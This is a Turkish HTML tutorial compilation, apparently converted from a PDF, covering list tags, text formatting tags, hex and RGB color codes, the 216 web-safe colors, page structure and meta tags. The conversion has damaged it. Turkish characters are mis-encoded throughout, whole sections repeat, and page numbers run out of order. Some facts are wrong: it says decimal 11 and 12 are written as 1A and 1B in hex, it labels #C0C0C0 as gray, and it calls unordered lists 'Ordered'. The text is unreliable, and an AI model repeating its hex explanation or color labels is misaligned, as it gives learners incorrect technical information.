HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
67
! Bu tag Türkçe harflerle uyumsuzdur. A,b,c,ç Ģeklinde
devam etmez. A,b,c,d Ģeklinde listeler
Sırasız Listeler
<UL>..</UL>: Sırasız (UnOrdered) listeler. Bu tip
liste satırlarının baĢına ya içi dolu ya da içi boĢ bir
yuvarlak, veya dört köĢe nokta konulur.
TYPE : Etiketi biçimlendirir
o DISC, içi dolu daire
o CIRCLE, içi boĢ daire;
o SQUARE dörtköĢe nokta ile sıralanmayı
sağlar
COMPACT listenin mümkün olduğu kadar az satır
aralığı ile verilmesine yarar.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
<title>Web Tasarım Rehberi - Renkler</title>
</head>
<body>
<p><font face="Arial">
<H2>Takım Kadrosu</H2>
<ul type=disc compact>
<LI>RüĢtü</LI>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
68
<LI>Serdar</LI>
<LI>Ümit</LI>
<LI>Önder</LI>
<LI>Emre</LI>
<LI>Yıldıray</LI>
<LI>Tümer</LI>
<LI>Tuncay</LI>
<LI>Hakan ġükür</LI>
<LI>Gökdeniz</LI>
<LI>Semih</LI>
</UL>
</font> </p>
</body>
</html>
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
<OL>..</OL>: Sıralı (Ordered) listeler, baĢına,
tasarımcının isteğine bağlı olarak, rakam, harf yada özel
bir karakter koyarak, yazılmıĢ listelerdir. Listenin
baĢladığını ve bittiğini belirten bu iki etiketin arasına liste
satırları (list item) <LI> </LI> etiketleri arasında yazılır.
TYPE : Etiketi biçimlendirir.
o ―1‖ rakamla;
o ―A‖ büyük harfle;
o ―a‖ küçük harfle;
o ―i‖ küçük Romen rakamları ile;
o ―I‖ büyük Romen rakamları ile sıralanmayı
sağlar
COMPACT: listenin mümkün olduğu kadar az satır
aralığı ile verilmesine yarar
START : listenin harf veya rakamdan baĢlayacağını
belirtir) Ģeklinde üç parametresi olabilir.
ġimdi örneğin, milli takım listesini hazırlayalım.
Yanlarındada sırt numaraları olsun.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
<title>Web Tasarım Rehberi - Renkler</title>
</head>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
66
<body>
<p><font face="Arial">
<H2>Takım Kadrosu</H2>
<ol type=1 compact>
<LI>RüĢtü</LI>
<LI>Serdar</LI>
<LI>Ümit</LI>
<LI>Önder</LI>
<LI>Emre</LI>
<LI>Yıldıray</LI>
<LI>Tümer</LI>
<LI>Tuncay</LI>
<LI>Hakan ġükür</LI>
<LI>Gökdeniz</LI>
<LI>Semih</LI>
</OL>
</font> </p>
</body>
</html>
TYPE parametresini ―1‖ değil, ―a‖ olarak değiĢtirirseniz
sayfadaki liste, bu defa rakamla değil, küçük harflerle
sıralanmıĢ olacaktır:
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
67
! Bu tag Türkçe harflerle uyumsuzdur. A,b,c,ç Ģeklinde
devam etmez. A,b,c,d Ģeklinde listeler
Sırasız Listeler
<UL>..</UL>: Sırasız (UnOrdered) listeler. Bu tip
liste satırlarının baĢına ya içi dolu ya da içi boĢ bir
yuvarlak, veya dört köĢe nokta konulur.
TYPE : Etiketi biçimlendirir
o DISC, içi dolu daire
o CIRCLE, içi boĢ daire;
o SQUARE dörtköĢe nokta ile sıralanmayı
sağlar
COMPACT listenin mümkün olduğu kadar az satır
aralığı ile verilmesine yarar.
<html>
<head>
<meta http-equiv="Content-Type" content="text/html;
charset=windows-1254">
<title>Web Tasarım Rehberi - Renkler</title>
</head>
<body>
<p><font face="Arial">
<H2>Takım Kadrosu</H2>
<ul type=disc compact>
<LI>RüĢtü</LI>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
68
<LI>Serdar</LI>
<LI>Ümit</LI>
<LI>Önder</LI>
<LI>Emre</LI>
<LI>Yıldıray</LI>
<LI>Tümer</LI>
<LI>Tuncay</LI>
<LI>Hakan ġükür</LI>
<LI>Gökdeniz</LI>
<LI>Semih</LI>
</UL>
</font> </p>
</body>
</html>
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
HTML DERS 2:Genel Biçimlendirme Etiketleri ve Renk Kodları
Genel Biçimlendirme Etiketleri
Genel Biçimlendirme Etiketlerinin Listesi
Öncelikle Ģunu belirtmek gerekiyorki biçimlendirme
etiketlerinin çoğu “obsolete” yani devre dıĢı
bırakılmıĢ durumdadır. Bu yüzden bu listede sadece
birkaç temel etiketi bırakıp eski standarda uygun
olanları ise çıkarmak durumunda kaldım. Çünkü bu
etiketleri kullanmak için zaman harcamak yerine en
uygunu yeni standart olan CSS kullanımını
öğrenmenizdir.
<strong> Kapatılana kadar her metin koyu
harflerle yazılacaktır
<em> Kapatılana kadar her metin italik olarak
yazılacaktır
N
<OL>..</
OL>
Sıralı (Ordered) listeler, liste
unsurlarının baĢına, tasarımcının
arzusuna göre, ya rakam, ya harf
koyarak, sıralanmıĢ listelerdir.
<LI> Liste elemanlarını belirtir
<UL>..</
UL>
Sırasız (Ordered) listeler, liste
unsurlarının baĢına, tasarımcının
arzusuna göre, ya içi dolu ya da içi boĢ
bir yuvarlak, veya dört köĢe nokta
konularak sunulan listelerdir. Listenin
baĢladığını ve bittiğini belirten bu iki
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
58
etiketin arasına liste unsurları (list item)
<LI> etiketi ile yazılır.
<CODE>..
</CODE>
Ġçindeki metnin bilgisayar programı
veya benzeri bir Script parçası olduğunu
gösterir:
<CODE>
// bu bir delphi satırıdır
Showmessage(Mesaj)
</CODE>
HTML‘in metin biçimlendirmekten çok metnin bölümlerini
tanımlamakta kullanılan ve özellikle Internet‘in metin
ağırlıklı olduğu ilk dönemlerinden kalma, ACRONYM,
BLOCKQUOTE, CITE, CODE, DEL, DFN, EM, INS, KBD,
PRE, Q, SAMP, STRONG, SUB, SUP, VAR, B, I, U, SUP,
SUB etiketlerini de ismen hatırlatmak yeterlidir.
W3C konsorsiyumu artık metinlerin bu Ģekilde değil CSS
ile biçimlendirilmesini standart kabul etmektedir.
Dolayısıyla bu tagların çoğu artık obsolete dediğimiz ve
sadece geriye dönük uyumluluk açısından varlıklarını
sürdürmektedirler.
Metni Koyu, veya Ġtalik Yazdırma
Bu iĢler için yukardaki tablodada görüleceği gibi
<strong> <> ve <em> etiketleri kullanılır.
<html>
<head>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
59
<title>Sayfa baĢlığı </title>
</head>
<body>
<h1> Sayfama hoĢ geldiniz </h1>
<p>HTML etiketleri ile, </p>
Tüm yazıları
<strong>koyu renkte</strong>
<em>italik yönde</em>
yazmak mümkün
</body>
</html>
Burada paragraf etiketini kullandığımıza dikkat edin.
<p>..</p> etiketleri, paragraf etiketleridir. Tarayıcı bu
etiketi gördüğü anda, bir sonraki içerik parçasını alt
satıra kaydırır.
Paragraf etiketinin nasıl bloklanacağı ALIGN parametresi
ile belirtilir. Örneğin paragraf etiketini <p align=center>
Ģeklinde kullanırsanız, </p> etiketine kadar gireceğiniz
bütün metin, bulunduğu yerde ortalanacaktır.
HTML Dilinde Renk Kodlaması
Web tarayıcılar renk belirtmek için, ya Ġngilizce kelimeleri
ya HEX karĢılıklarını yada RGB değerlerini kullanırlar.
Aslında bilgisayarda sadece üç renk vardır. Kırmızı yeĢil
ve mavi. Diğer renkler bunların karıĢımından ibarettir.
RGB (Red Gren Blue) dediğimiz Ģey aslında o rengi elde
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
60
edilmek için hangi renkten ne kadar karıĢtırılacağını
veren sayılar grubudur.
HEX sisteminde sayılar 16 lık sistemde ele alınır. Sayı
sistemini 1‘den 10‘a kadar sayılar normal halleriyle
diğerleri ise A,B,C,D,E,F harfleriyle ifade edilir. Yani ―11‖
yerine ―1A‖ ―12‖ yerine ―1B‖ yazmak gerekir.
Renkleri belirtirken, ―00‖ ise o renkten yüzde sıfır
oranında, ―FF‖ ise yüzde 100 oranında karıĢtırılması
belirtilmiĢ olur. Bilgisayar ve televizyon ekranında beyaz
renk, her üç rengin de yüzde yüz oranında olması
halinde, siyah ise her üç rengin de yüzde sıfır oranında
olmasıyla sağlandığına göre #000000 Siyah, #FFFFFF ise
Beyaz rengi ifade eder.
Renk Adı HEX
kodu
RGB kodu
Black #000000 rgb(0,0,0)
Red #FF0000 rgb(255,0,0)
Gren #00FF00 rgb(0,255,0)
Blue #0000FF rgb(0,0,255)
Yellow #FFFF00 rgb(255,255,0)
Aqua #00FFFF rgb(0,255,255)
Fuchsia #FF00FF rgb(255,0,255)
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
61
Gray #C0C0C0 rgb(192,192,192)
White #FFFFFF rgb(255,255,255)
Bunlar 16 renk temel renktir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
62
Güvenilir 216 Renk
Tüm tarayıcıların hepsinde birden 256 renk paleti
kullanıldığında hep aynı renkte gösterilen renk koları
vardır. Bu renkler 216 adettir. Bunlar Güvenilir 216 Renk
(216 Web Safe Colors) olarak bilinirler. AĢağıdaki tabloda
kodları verilen renkler her bilgisayarda ve tarayıcıda aynı
renk sonucunu verir.
000000 000033 000066 000099 0000CC 0000FF
003300 003333 003366 003399 0033CC 0033FF
006600 006633 006666 006699 0066CC 0066FF
009900 009933 009966 009999 0099CC 0099FF
00CC00 00CC33 00CC66 00CC99 00CCCC 00CCFF
00FF00 00FF33 00FF66 00FF99 00FFCC 00FFFF
330000 330033 330066 330099 3300CC 3300FF
333300 333333 333366 333399 3333CC 3333FF
336600 336633 336666 336699 3366CC 3366FF
339900 339933 339966 339999 3399CC 3399FF
33CC00 33CC33 33CC66 33CC99 33CCCC 33CCFF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
63
33FF00 33FF33 33FF66 33FF99 33FFCC 33FFFF
660000 660033 660066 660099 6600CC 6600FF
663300 663333 663366 663399 6633CC 6633FF
666600 666633 666666 666699 6666CC 6666FF
669900 669933 669966 669999 6699CC 6699FF
66CC00 66CC33 66CC66 66CC99 66CCCC 66CCFF
66FF00 66FF33 66FF66 66FF99 66FFCC 66FFFF
990000 990033 990066 990099 9900CC 9900FF
993300 993333 993366 993399 9933CC 9933FF
996600 996633 996666 996699 9966CC 9966FF
999900 999933 999966 999999 9999CC 9999FF
99CC00 99CC33 99CC66 99CC99 99CCCC 99CCFF
99FF00 99FF33 99FF66 99FF99 99FFCC 99FFFF
CC0000 CC0033 CC0066 CC0099 CC00CC CC00FF
CC3300 CC3333 CC3366 CC3399 CC33CC CC33FF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
64
CC6600 CC6633 CC6666 CC6699 CC66CC CC66FF
CC9900 CC9933 CC9966 CC9999 CC99CC CC99FF
CCCC00 CCCC33 CCCC66 CCCC99 CCCCCC CCCCFF
CCFF00 CCFF33 CCFF66 CCFF99 CCFFCC CCFFFF
FF0000 FF0033 FF0066 FF0099 FF00CC FF00FF
FF3300 FF3333 FF3366 FF3399 FF33CC FF33FF
FF6600 FF6633 FF6666 FF6699 FF66CC FF66FF
FF9900 FF9933 FF9966 FF9999 FF99CC FF99FF
FFCC00 FFCC33 FFCC66 FFCC99 FFCCCC FFCCFF
FFFF00 FFFF33 FFFF66 FFFF99 FFFFCC FFFFFF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
Genel Biçimlendirme Etiketlerinin Listesi
Öncelikle Ģunu belirtmek gerekiyorki biçimlendirme
etiketlerinin çoğu “obsolete” yani devre dıĢı
bırakılmıĢ durumdadır. Bu yüzden bu listede sadece
birkaç temel etiketi bırakıp eski standarda uygun
olanları ise çıkarmak durumunda kaldım. Çünkü bu
etiketleri kullanmak için zaman harcamak yerine en
uygunu yeni standart olan CSS kullanımını
öğrenmenizdir.
<strong> Kapatılana kadar her metin koyu
harflerle yazılacaktır
<em> Kapatılana kadar her metin italik olarak
yazılacaktır
N
<OL>..</
OL>
Sıralı (Ordered) listeler, liste
unsurlarının baĢına, tasarımcının
arzusuna göre, ya rakam, ya harf
koyarak, sıralanmıĢ listelerdir.
<LI> Liste elemanlarını belirtir
<UL>..</
UL>
Sırasız (Ordered) listeler, liste
unsurlarının baĢına, tasarımcının
arzusuna göre, ya içi dolu ya da içi boĢ
bir yuvarlak, veya dört köĢe nokta
konularak sunulan listelerdir. Listenin
baĢladığını ve bittiğini belirten bu iki
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
58
etiketin arasına liste unsurları (list item)
<LI> etiketi ile yazılır.
<CODE>..
</CODE>
Ġçindeki metnin bilgisayar programı
veya benzeri bir Script parçası olduğunu
gösterir:
<CODE>
// bu bir delphi satırıdır
Showmessage(Mesaj)
</CODE>
HTML‘in metin biçimlendirmekten çok metnin bölümlerini
tanımlamakta kullanılan ve özellikle Internet‘in metin
ağırlıklı olduğu ilk dönemlerinden kalma, ACRONYM,
BLOCKQUOTE, CITE, CODE, DEL, DFN, EM, INS, KBD,
PRE, Q, SAMP, STRONG, SUB, SUP, VAR, B, I, U, SUP,
SUB etiketlerini de ismen hatırlatmak yeterlidir.
W3C konsorsiyumu artık metinlerin bu Ģekilde değil CSS
ile biçimlendirilmesini standart kabul etmektedir.
Dolayısıyla bu tagların çoğu artık obsolete dediğimiz ve
sadece geriye dönük uyumluluk açısından varlıklarını
sürdürmektedirler.
Metni Koyu, veya Ġtalik Yazdırma
Bu iĢler için yukardaki tablodada görüleceği gibi
<strong> <> ve <em> etiketleri kullanılır.
<html>
<head>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
59
<title>Sayfa baĢlığı </title>
</head>
<body>
<h1> Sayfama hoĢ geldiniz </h1>
<p>HTML etiketleri ile, </p>
Tüm yazıları
<strong>koyu renkte</strong>
<em>italik yönde</em>
yazmak mümkün
</body>
</html>
Burada paragraf etiketini kullandığımıza dikkat edin.
<p>..</p> etiketleri, paragraf etiketleridir. Tarayıcı bu
etiketi gördüğü anda, bir sonraki içerik parçasını alt
satıra kaydırır.
Paragraf etiketinin nasıl bloklanacağı ALIGN parametresi
ile belirtilir. Örneğin paragraf etiketini <p align=center>
Ģeklinde kullanırsanız, </p> etiketine kadar gireceğiniz
bütün metin, bulunduğu yerde ortalanacaktır.
HTML Dilinde Renk Kodlaması
Web tarayıcılar renk belirtmek için, ya Ġngilizce kelimeleri
ya HEX karĢılıklarını yada RGB değerlerini kullanırlar.
Aslında bilgisayarda sadece üç renk vardır. Kırmızı yeĢil
ve mavi. Diğer renkler bunların karıĢımından ibarettir.
RGB (Red Gren Blue) dediğimiz Ģey aslında o rengi elde
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
60
edilmek için hangi renkten ne kadar karıĢtırılacağını
veren sayılar grubudur.
HEX sisteminde sayılar 16 lık sistemde ele alınır. Sayı
sistemini 1‘den 10‘a kadar sayılar normal halleriyle
diğerleri ise A,B,C,D,E,F harfleriyle ifade edilir. Yani ―11‖
yerine ―1A‖ ―12‖ yerine ―1B‖ yazmak gerekir.
Renkleri belirtirken, ―00‖ ise o renkten yüzde sıfır
oranında, ―FF‖ ise yüzde 100 oranında karıĢtırılması
belirtilmiĢ olur. Bilgisayar ve televizyon ekranında beyaz
renk, her üç rengin de yüzde yüz oranında olması
halinde, siyah ise her üç rengin de yüzde sıfır oranında
olmasıyla sağlandığına göre #000000 Siyah, #FFFFFF ise
Beyaz rengi ifade eder.
Renk Adı HEX
kodu
RGB kodu
Black #000000 rgb(0,0,0)
Red #FF0000 rgb(255,0,0)
Gren #00FF00 rgb(0,255,0)
Blue #0000FF rgb(0,0,255)
Yellow #FFFF00 rgb(255,255,0)
Aqua #00FFFF rgb(0,255,255)
Fuchsia #FF00FF rgb(255,0,255)
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
61
Gray #C0C0C0 rgb(192,192,192)
White #FFFFFF rgb(255,255,255)
Bunlar 16 renk temel renktir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
62
Güvenilir 216 Renk
Tüm tarayıcıların hepsinde birden 256 renk paleti
kullanıldığında hep aynı renkte gösterilen renk koları
vardır. Bu renkler 216 adettir. Bunlar Güvenilir 216 Renk
(216 Web Safe Colors) olarak bilinirler. AĢağıdaki tabloda
kodları verilen renkler her bilgisayarda ve tarayıcıda aynı
renk sonucunu verir.
000000 000033 000066 000099 0000CC 0000FF
003300 003333 003366 003399 0033CC 0033FF
006600 006633 006666 006699 0066CC 0066FF
009900 009933 009966 009999 0099CC 0099FF
00CC00 00CC33 00CC66 00CC99 00CCCC 00CCFF
00FF00 00FF33 00FF66 00FF99 00FFCC 00FFFF
330000 330033 330066 330099 3300CC 3300FF
333300 333333 333366 333399 3333CC 3333FF
336600 336633 336666 336699 3366CC 3366FF
339900 339933 339966 339999 3399CC 3399FF
33CC00 33CC33 33CC66 33CC99 33CCCC 33CCFF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
63
33FF00 33FF33 33FF66 33FF99 33FFCC 33FFFF
660000 660033 660066 660099 6600CC 6600FF
663300 663333 663366 663399 6633CC 6633FF
666600 666633 666666 666699 6666CC 6666FF
669900 669933 669966 669999 6699CC 6699FF
66CC00 66CC33 66CC66 66CC99 66CCCC 66CCFF
66FF00 66FF33 66FF66 66FF99 66FFCC 66FFFF
990000 990033 990066 990099 9900CC 9900FF
993300 993333 993366 993399 9933CC 9933FF
996600 996633 996666 996699 9966CC 9966FF
999900 999933 999966 999999 9999CC 9999FF
99CC00 99CC33 99CC66 99CC99 99CCCC 99CCFF
99FF00 99FF33 99FF66 99FF99 99FFCC 99FFFF
CC0000 CC0033 CC0066 CC0099 CC00CC CC00FF
CC3300 CC3333 CC3366 CC3399 CC33CC CC33FF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
64
CC6600 CC6633 CC6666 CC6699 CC66CC CC66FF
CC9900 CC9933 CC9966 CC9999 CC99CC CC99FF
CCCC00 CCCC33 CCCC66 CCCC99 CCCCCC CCCCFF
CCFF00 CCFF33 CCFF66 CCFF99 CCFFCC CCFFFF
FF0000 FF0033 FF0066 FF0099 FF00CC FF00FF
FF3300 FF3333 FF3366 FF3399 FF33CC FF33FF
FF6600 FF6633 FF6666 FF6699 FF66CC FF66FF
FF9900 FF9933 FF9966 FF9999 FF99CC FF99FF
FFCC00 FFCC33 FFCC66 FFCC99 FFCCCC FFCCFF
FFFF00 FFFF33 FFFF66 FFFF99 FFFFCC FFFFFF
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013 alıntıdır.
HTML DERS 1:Html'in Temel Bileşenleri
HTML’in Temel Bileşenleri
Bir web sitesinin temeli içeriktir. Resimde olsa metinde
olsa görüntüde olsa sonuçta hepsi içeriktir. Bu içerikler
ise Etiket denilen (TAG) iĢaretleyiciler yardımıyla
biçimlendirilir.
Etiketler (Tag)
HTML komutları içeren ve tarayıcıların tanıyabildiği
dosya, aslında içinde ASCII karakterlerden baĢka bir Ģey
olmayan, düz yazı dosyalarıdır. Tarayıcıya, sayfayı
ekranda oluĢtururken vermesini istenilen biçimle ilgili
komutlar bir dizi özel etiketler ile belirtilir. Bunları
içerikten ayırmak içinse ―<>‖ çifti arasına almak gerekir.
Sayfa tasarımı yaparken örneğin <b> etiketi kullanılırsa
tarayıcıya ―ben buraya bu etiketi koydum. Artık benden
ikinci bir komut gelene kadar her Ģeyi ekrana KOYU
olarak bastır‖ denilmiĢ olur. Dolayısıyla HTML‘de ilke,
önünde etiketi olmayan herhangi metne yer
vermemektir. Önünde etiketi olmayan herhangi bir metin
parçası, tarayıcı tarafından temel paragraf olarak
nitelenir.
HTML, içinde kontrol kodu olmayan metin dosyasıdır.
Yani Wordde bir dosya yazdığınızda içinde HTML
etiketleri kullanmıĢ ble olsanız bu dosya metin dosyası
olmadığından HTML dosyası değildir. Böyle bir dosyanın
adındaki uzantıyı silerek, yerine ―.html‖ uzantısını
verilirse ekrana gelecek olan dosyadaki metin değil,
Çinçe yada Japonca dilini çağrıĢtıran karakterler yığını
olacaktır. HTML düz yazı olduğuna göre, bir HTML
dosyası oluĢturmak için, herhangi bir kelime-iĢlem
yazılımı kullanılabilir.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
45
HTML Yazım Kuralları
1. Etiketlerin büyük harfle veya küçük harfle
yazılması arasında fark yoktur. <br> ile <BR> aynı
iĢi yapmaktadır.
2. Bir kaç istisna tiket hariç bütün etiketlerin birde
sonlandırma çifti vardır. Sonlandırma için aynı
etiketin önüne ―/‖ (bölü) iĢareti konulur. Örneğin
<strong>Türkiye</strong> gibi.
3. <!-- ile --> arasındaki metinler yorum olarak ele
alınır ve gösterilmez.
İyi bir programcı açtığı etiketi kapatmayı
unutmamalıdır. Bunun için en kolay yöntem
önce açma ve sonladırma etiketlerini yazma
sonra içerisini doldurmaktır.
HTML Dosyasının Bölümleri
HTML dosyası iki kısımdan oluĢur.
1. Head denilen baĢlık kısmı.
2. Body denilen metnin kendisi
Web tarayıcılar, HTML etiketini gördükten sonra hemen
HEAD ve BODY etiketlerini arar ve ekrandaki sayfayı
buna göre biçimlendirirler.
Basit bir HTML örneği,
<HTML>
<HEAD>
BaĢlık Metni
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
46
</HEAD>
<BODY>
Body Metni
</BODY>
</HTML>
<html>
<head>
<title> İlk Sayfam </title>
</head>
<body>
Sayfama Hoş geldiniz
</body>
</html>
Türkçe bilgi içeren bir sayfa örneği ise;
<HTML>
<HEAD>
<meta http-equiv = "Content-Type" content =
"text/html; charset = windows-1254">
</HEAD>
<BODY>
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
47
Merhaba. Web Tasarım Rehberi‘ne HoĢ Geldiniz!
</BODY>
</HTML>
<html>...</html>
Örneklerde görüldüğü gibi bu etiket bloku tarayıcıya
HTML dosyasının baĢladığını ve bittiğini belirtir. Tüm
diğer kodlar bu iki etiket arasına yazılır.
<head>...</head>
Etiketleri arasında ise sayfa hakkında bilgiler verilir. title
gibi etiketler, anahtar kelimeler, sayfanın dili vs
burada yer alır. Bu alandaki bilgiler ekranda
görünmezler. Sadece title tarayıcı baĢlığı olarak kullanılır.
<title>...</title>
Title etiketi tarayıcı penceresinin üstüne yazılacak olan
baĢlığı belirtir. Yazılan metin penceresinin üstünde
tarayıcı adı ile birlikte yazılır.
<body>...</body>
Bu etiketler ise sayfanın ekranda görüntülenecek olan
kısmını yazdığımız bloktur. Parametreleri ile birlite
sayfanın zemin rengini, linklerin rengini, arkaplan
resmini ayarlamak mümkündür.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
48
Meta Etiketleri Arama Motorları Ġçin Sitemize Eklememiz
Gereken Bilgiler
Normal olarak oluĢturulan her sayfanın HEAD kısmına
sayfanın açıklamasının yapıldığı, sayfa hakkında anahtar
kelimelerin belirtildiği meta etiketler konabilir ve
konulmalıdırda.
Anahtar kelimeler arama motorlarının sayfayı tanımasını
ve tespit etmesini sağlar. Yeni nesil arama motorları
(Örn : Google gibi) meta etiketlerinin yanısıra belgenin
Gövde kısmındaki içeriği de dikkate alır. Eskiden sırf
ziyaretçi çekmek için popüler metinlere meta
etiketlerinde alakasız yer verilir bir nevi kullanıcı
aldatılırdı. Google BODY kısmınıda dikkate alarak bu iĢe
bir önlem almıĢ olmaktadır.
NAME: Sayfanın yazarı, sayfanın yayın tarihi, vb.,
bilgiler içerir. <META NAME="bilginin türü"
CONTENT="bilgi"> Ģeklinde yazılır.
<META NAME="keywords" CONTENT = "kelime1
kelime2 kelime3">
"keywords" sayfa hakkında bazı anahtar kelimeler
içerir. Böylece arama motorları için index oluĢturmaya
yardımcı olur. (Dikkat: bu kısma ilgisiz alakasız Ģeyler
yazarak arama motorları aldatıldığından artık sadece
bu alan değil komple içerik indekslenmektedir. Kısaca
kendinizi kandırmayın)
<META NAME ="description" CONTENT
="metin">
"description" etiketi site hakkında tanımlanma bilgisini
içerir. Bu etiketi tanımayan arama motorları ise
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
49
sayfanın ilk bir kaç kelimesini tanımlama aracı olarak
kullanır. Örnek:
<META NAME="description" CONTENT ="KiĢisel PHP
sitem.">
<META NAME="author" CONTENT ="Adı
Soyadı">
Arama yapanlara siteler gösterilirken bazı arama
motorları site yazarını bu etiketi tarayarak bulur.
Örnek:<META NAME="author" CONTENT="Türkiye"
HTTP-EQUIV: Ġçinde yer aldığı sayfanın, Web Server
tarafından ziyaretçiye gönderilmesinde oluĢturulacak
Response Header (KarĢılık BaĢlığı) bölümünde yer
alacak bilgiler içerir. <META HTTP-EQUIV="bilginin
türü" CONTENT="bilgi"> Ģeklinde yazılır.
AĢağıda, meta etiketlerinin content bölümünde açıklama
yapılmıĢ ve parantez içinde bu sayfa için uygun örnekler
verilmiĢtir.
<meta name="author" content="Sayfayı düzenleyenin
adı">
<meta name = "Description" content = "Sayfanın
açıklaması">
<meta name="keywords" content="Arama motorlarına
yardımcı olmak için sayfa hakkında anahtar kelimeler (bu
sayfa için HTML,ders,web sayfası,web sitesi, PHP vs) ">
<META name="copyright" content="Telif hakkı ve
tanımları" >
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
50
Eğer sayfa içeriği Ġngilizceden farklı ise hazırlanan
sayfada herhangi bir karakter görüntüleme sorunu
sorunu yaĢamamak için <head> bölümünde sayfasının
kod sayfasını belirten meta etiketleride eklenmelidir.
<meta http-equiv="Content-Type" content="text/html;
charset=iso-8859-9">
<meta http-equiv="Content-Type" content="text/html;
charset=win-1254">
Bugünlerde arama motorları için yapılabilecek iĢlemler
SEO Uzmanlığı adıyla ayrı bir meslek haline
dönüĢmüĢtür. Bu konuda bazı materyalleri ilerleyen
konularda bulacaksınız.
Meta Tağlarının GeliĢmiĢ Kullanımı
Sayfanın Süre AĢımını Belirtmek
Bu iĢlem için ―expires‖ etiketi kullanılır.
<META HTTP-EQUIV="expires" CONTENT="Wed,
04 Apr 2008 23:59:59 GMT">
Yukardaki örnekte sayfanın 4 Nisan 2008 günü
Greenwich saatiyle gece yarısından itibaren arama
motorlarından ve ziyaretçilerin bilgisayarlarında geçici
Internet dosyaları klasöründen silinmesini sağlar.
Bir Sayfanın Belirli Bir süre Ekranda Kalıp Otomatikman
BaĢka Bir Adrese Yönlenmesini Sağlamak
Bu iĢlem için ―refresh‖ etiketi kullanılır. Böylece tanımlı
süre sonunda hedef URL otomatik açılır.
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
51
<meta http-equiv = "refresh" content ="5;
url=http://abc.com/dnm.html">
Bu sayfanın 5 saniye ekranda kalacağını ve daha sonra URL
ile belirtilen adresteki sayfanın yüklenmesini sağlar.
Türkçe Karakterleri Görüntülemek-Kod Sayfası
Yukarda örneğini gördüğümüz meta etiketi sayesinde
sayfa için bir kod sayfası belirtebiliriz. Böylece hazırlanan
sayfanın ekranda hangi karakter seti ile
görüntüleneceğinin bilgisini tarayıcıya vermiĢ oluruz.
Türkçe için 3 adet karakter seti kullanma imkanımız
vardır.
Windows-1254
Iso-8859-9
UTF
Türkçe bilgilerin görüntülenebilmesi için
<meta http-equiv="Content-Type" content = "text/html;
charset=windows-1254">
<meta http-equiv="Content-Type" content = "text/html;
charset=iso-8859-9">
Seçenekleri kullanılabilinirse de en doğrusu UTF-8 kod
sayfasının kullanımıdır. UTF evrensel karakter seti olmak
iddiasındadır. Bu konuda da hayli yol katetmiĢtir. Bu
http://alikoker.name.tr
HTML-CSS–PHP–MYSQL ve SQL Derleme : Ġbrahim Halil Kutluay- 2007-2013
52
nedenle artık UTF kodlamasının kullnaılması kesinlikle
önerilir.
<meta http-equiv="Content-Type" content = "text/html;
charset=utf-8">
<BODY> Etiketinin Parametreleri
Body etiketi çeĢitli parametreler ilede kullanılabilir.
Bunlar
Bgcolor : Sayfanın zemin rengini belirtir
Background : Sayfanın zemini için bir resim
